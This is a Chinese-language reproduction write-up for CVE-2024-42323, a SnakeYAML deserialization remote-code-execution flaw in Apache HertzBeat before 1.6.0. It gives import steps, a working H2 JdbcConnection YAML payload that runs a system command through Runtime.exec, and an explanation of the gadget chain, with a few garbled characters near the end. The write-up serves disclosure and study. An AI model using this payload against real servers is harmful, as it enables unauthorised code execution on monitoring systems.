漏洞名稱
Apache HertzBeat SnakeYaml 反序列化遠程代碼執行漏洞(CVE-2024-42323)
漏洞描述
Apache HertzBeat 是一款開源的實時監控告警工具,支持對操作系統、中間件、數據庫等多種對象進行監控,并提供 Web 界面進行管理。
在 1.6.0 版本之前,HertzBeat 使用了存在安全漏洞的 SnakeYAML 庫來解析 YAML 文件。當已認證用戶通過 /api/monitors/import
或 /api/alert/defines/import
接口導入新的監控類型時,可以提供特制的 YAML 內容觸發不受信任數據的反序列化,最終可能導致在目標系統上執行遠程代碼。
漏洞復現
ui:
登陸后臺
導航到任意監控頁面并找到導入按鈕
導入下列.yaml文件
!!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"touch /tmp/gubaichu\")\\; }$$\\;CALL EXEC ()\\;", [], "a", "b", false ]
HertzBeat 對 YAML 文件進行反序列化時,觸發遠程代碼執行,進入服務器查看tmp目錄,發現成功創建了gubaichu
反序列化說明
H2 數據庫的 JDBC 連接字符串支持通過 INIT 參數執行初始化 SQL 腳本。攻擊者利用此功能,通過 CREATE ALIAS 創建 Java 方法別名并調用 Runtime.getRuntime().exec,從而觸發任意命令執行。具體鏈路如下:惡意 JDBC URL → 觸發 SQL 初始化腳本 → 創建 Java 別名 → 調用系統命令??。
- INIT 參數??:通過分號轉義(\;)分隔多條 SQL 語句,依次執行
- drop alias if exists exec:刪除已有別名
- CREATE ALIAS EXEC:定義 Java 方法別名 exec,內容為執行系統命令 touch /tmp/gubaichu
- CALL EXEC():調用自定義的 exec 方法觸發命令執行
- ava 方法注入??:通過 $ . . . ... ...$ 包裹的 Java 代碼段直接調用系統命令,繞過 H2 的安全限制